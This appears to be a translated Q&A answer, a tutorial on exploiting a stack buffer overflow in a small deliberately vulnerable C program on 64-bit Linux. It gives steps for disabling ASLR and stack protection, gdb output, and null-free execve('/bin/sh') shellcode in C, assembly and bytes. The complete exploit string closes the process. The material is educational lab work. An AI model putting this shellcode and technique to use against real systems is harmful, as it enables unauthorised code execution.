Първо се уверете, че сте променили randomize_va_space. В Ubuntu бихте изпълнили следното като root
echo 0 > /proc/sys/kernel/randomize_va_space
След това се уверете, че компилирате тестовата програма без защита срещу разбиване на стека и задайте бита за изпълнение на паметта. Компилирайте го със следните gcc опции, за да постигнете
-fno-stack-protector -z execstack
Също така открих, че имам нужда от повече място за действително изпълнение на обвивка, така че бих променил буфера ви на нещо по-скоро като буфер [64]
След това можете да стартирате приложението в gdb и да получите адреса на стека, към който трябва да се върнете
Първо задайте точка на прекъсване веднага след strcpy
(gdb) disassemble main
Dump of assembler code for function main:
0x000000000040057c <+0>: push %rbp
0x000000000040057d <+1>: mov %rsp,%rbp
0x0000000000400580 <+4>: sub $0x50,%rsp
0x0000000000400584 <+8>: mov %edi,-0x44(%rbp)
0x0000000000400587 <+11>: mov %rsi,-0x50(%rbp)
0x000000000040058b <+15>: mov -0x50(%rbp),%rax
0x000000000040058f <+19>: add $0x8,%rax
0x0000000000400593 <+23>: mov (%rax),%rdx
0x0000000000400596 <+26>: lea -0x40(%rbp),%rax
0x000000000040059a <+30>: mov %rdx,%rsi
0x000000000040059d <+33>: mov %rax,%rdi
0x00000000004005a0 <+36>: callq 0x400450 <strcpy@plt>
0x0000000000**4005a5** <+41>: lea -0x40(%rbp),%rax
0x00000000004005a9 <+45>: mov %rax,%rsi
0x00000000004005ac <+48>: mov $0x400674,%edi
0x00000000004005b1 <+53>: mov $0x0,%eax
0x00000000004005b6 <+58>: callq 0x400460 <printf@plt>
0x00000000004005bb <+63>: mov $0x0,%eax
0x00000000004005c0 <+68>: leaveq
0x00000000004005c1 <+69>: retq
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5
След това стартирайте приложението и в точката на прекъсване вземете адреса на регистъра rax.
(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`
Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax 0x7fffffffe030 140737488347136
rbx 0x0 0
rcx 0x4141414141414141 4702111234474983745
rdx 0x41 65
rsi 0x7fffffffe490 140737488348304
rdi 0x7fffffffe077 140737488347255
rbp 0x7fffffffe040 0x7fffffffe040
rsp 0x7fffffffdff0 0x7fffffffdff0
r8 0x7ffff7dd4e80 140737351863936
r9 0x7ffff7de9d60 140737351949664
r10 0x7fffffffdd90 140737488346512
r11 0x7ffff7b8fd60 140737349483872
r12 0x400490 4195472
r13 0x7fffffffe120 140737488347424
r14 0x0 0
r15 0x0 0
rip 0x4005a5 0x4005a5 <main+41>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
След това определете вашия максимален размер на буфера. Знам, че буферът от 64 се срива при 72 байта, така че просто ще отида от това.. Можете да използвате нещо като методи за шаблони на metasploits, за да ви даде това, или просто да го разберете от проба и грешка, изпълнявайки приложението, за да разберете точния байт пребройте, което е необходимо, преди да получите segfault, или създайте свой собствен шаблон и съпоставете адреса за извличане, както бихте направили с опцията за модел на metasploit.
След това има много различни начини да получите полезния товар, от който се нуждаете, но тъй като работим с 64-битово приложение, ще използваме 64-битов полезен товар. Компилирах C и след това взех ASM от gdb и след това направих някои промени, за да премахна символите \x00, като промених инструкциите mov на xor за нулевите стойности и след това shl и shr, за да ги премахна от командата на обвивката. Ще покажем това по-късно, но засега полезният товар е както следва.
\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05
нашият полезен товар тук е 48 байта, така че имаме 72 - 48 = 24
Можем да подпълним полезния товар с \x90 (nop), така че инструкцията да не бъде прекъсната. Ще добавя 2 в края на полезния товар и 22 в началото. Също така ще закрепя адреса за връщане, който искаме до края наобратно, давайки следното..
`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`
Сега, ако искате да го стартирате извън gdb, може да се наложи да се справите с обратния адрес. В моя случай адресът става \x70\xe0\xff\xff\xff\x7f извън gdb. Просто го увеличих, докато заработи, като отидох на 40, след това на 50, след това на 60 и на 70.
източник на тестово приложение
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char name[64];
strcpy(name, argv[1]);
printf("Arg[1] is :%s\n", name);
return 0;
}
Това е полезният товар в C
#include <stdlib.h>
int main()
{
execve("/bin/sh", NULL, NULL);
}
И полезен товар в ASM, който ще се изгради и стартира
int main() {
__asm__(
"mov $0x0,%rdx\n\t" // arg 3 = NULL
"mov $0x0,%rsi\n\t" // arg 2 = NULL
"mov $0x0068732f6e69622f,%rdi\n\t"
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack pointer = start of /bin/sh
"mov $0x3b,%rax\n\t" // syscall number = 59
"syscall\n\t"
);
}
И тъй като не можем да използваме \x00, можем да променим на xor стойностите и да направим някакво фантастично преместване, за да премахнем лошите стойности на mov за настройка на /bin/sh
int main() {
__asm__(
"xor %rdx,%rdx\n\t" // arg 3 = NULL
"mov %rdx,%rsi\n\t" // arg 2 = NULL
"mov $0x1168732f6e69622f,%rdi\n\t"
"shl $0x8,%rdi\n\t"
"shr $0x8,%rdi\n\t" // first byte = 0 (8 bits)
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack ptr = start of /bin/sh
"mov $0x111111111111113b,%rax\n\t" // syscall number = 59
"shl $0x38,%rax\n\t"
"shr $0x38,%rax\n\t" // first 7 bytes = 0 (56 bits)
"syscall\n\t"
);
}
ако компилирате този полезен товар, стартирате го под gdb, можете да получите байтовите стойности, от които се нуждаете, като напр
(gdb) x/bx main+4
0x400478 <main+4>: 0x48
(gdb)
0x400479 <main+5>: 0x31
(gdb)
0x40047a <main+6>: 0xd2
(gdb)
или да получите всичко, като направите нещо подобно
(gdb) x/48bx main+4
0x4004f0 <main+4>: 0x48 0x31 0xd2 0x48 0x89 0xd6 0x48 0xbf
0x4004f8 <main+12>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x11
0x400500 <main+20>: 0x48 0xc1 0xe7 0x08 0x48 0xc1 0xef 0x08
0x400508 <main+28>: 0x57 0x48 0x89 0xe7 0x48 0xb8 0x3b 0x11
0x400510 <main+36>: 0x11 0x11 0x11 0x11 0x11 0x11 0x48 0xc1
0x400518 <main+44>: 0xe0 0x38 0x48 0xc1 0xe8 0x38 0x0f 0x05
person
Jason
schedule
12.06.2013